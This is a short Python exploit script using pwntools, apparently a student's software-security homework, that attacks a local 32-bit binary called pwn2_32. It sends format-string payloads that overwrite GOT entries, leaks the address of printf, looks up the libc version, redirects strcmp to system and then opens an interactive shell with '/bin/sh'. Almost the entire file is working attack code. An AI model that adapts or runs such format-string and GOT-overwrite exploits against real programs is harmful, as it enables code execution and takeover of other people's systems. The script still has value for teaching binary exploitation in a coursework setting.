#coding=utf-8
"""
 Homework 01 Software Security
 Author: Wyb-Sooyibin
 Date: 2021-4-13
"""
from pwn import *
from LibcSearcher import *

context(arch = 'i386', os = 'linux', log_level = 'debug')
p = process("./pwn2_32")

elf = ELF("./pwn2_32")
#pwnlib.gdb.attach(p)

""" 获取相关地址 """
main_addr = elf.symbols['main']
print("main_addr: " + hex(main_addr))
puts_got = elf.got['puts']
print("puts_got: " + hex(puts_got))
printf_got = elf.got['printf']
print("printf_got: " + hex(printf_got))
strcmp_got = elf.got['strcmp']
print("strcmp_got: " + hex(strcmp_got))
secret_addr = 0x0804a050
print(hex((main_addr >> 16)-20-18))
print(hex((main_addr & 0xffff) - (main_addr >> 16)))
ret_addr = main_addr + 139

""" 第一次利用 """
p.recv()
payload = "AA" + p32(secret_addr) + p32(puts_got + 2) + p32(puts_got) + p32(printf_got) + "BB"
payload += "%15$n"
payload += "%" +str(int((ret_addr >> 16)-20-18)) + "x" + "%16$hn"
payload += "%" + str(int((ret_addr & 0xffff) - (ret_addr >> 16))) + "x" + "%17$hn"
payload += "CC%18$s"
p.sendline(payload)

p.recvuntil("CC")
printf_addr = u32(p.recv(4))
print("printf_addr: " + hex(printf_addr))

""" 确定libc版本，计算出system和binsh的地址"""
libc = LibcSearcher('printf', int(printf_addr- 0x1050000000000000))
libcbase = printf_addr - libc.dump('printf')
print("libcbase = " + str(hex(libcbase)))
system_addr = libcbase + libc.dump('system')
print("system_addr = " + str(hex(system_addr)))
binsh_addr = libcbase + libc.dump("str_bin_sh")
print("binsh_addr = " + str(hex(binsh_addr)))

""" 第二次利用 """
payload = "AA" + p32(strcmp_got) + p32(strcmp_got + 2) + "BB"
payload += "%" +str(int((system_addr & 0xffff)-12-18)) + "x" + "%15$hn"
payload += "%" +str(int((system_addr >> 16)-(system_addr & 0xffff))) + "x" + "%16$hn"
p.sendline(payload)

""" get shell""" 
p.sendline("/bin/sh")
p.interactive()
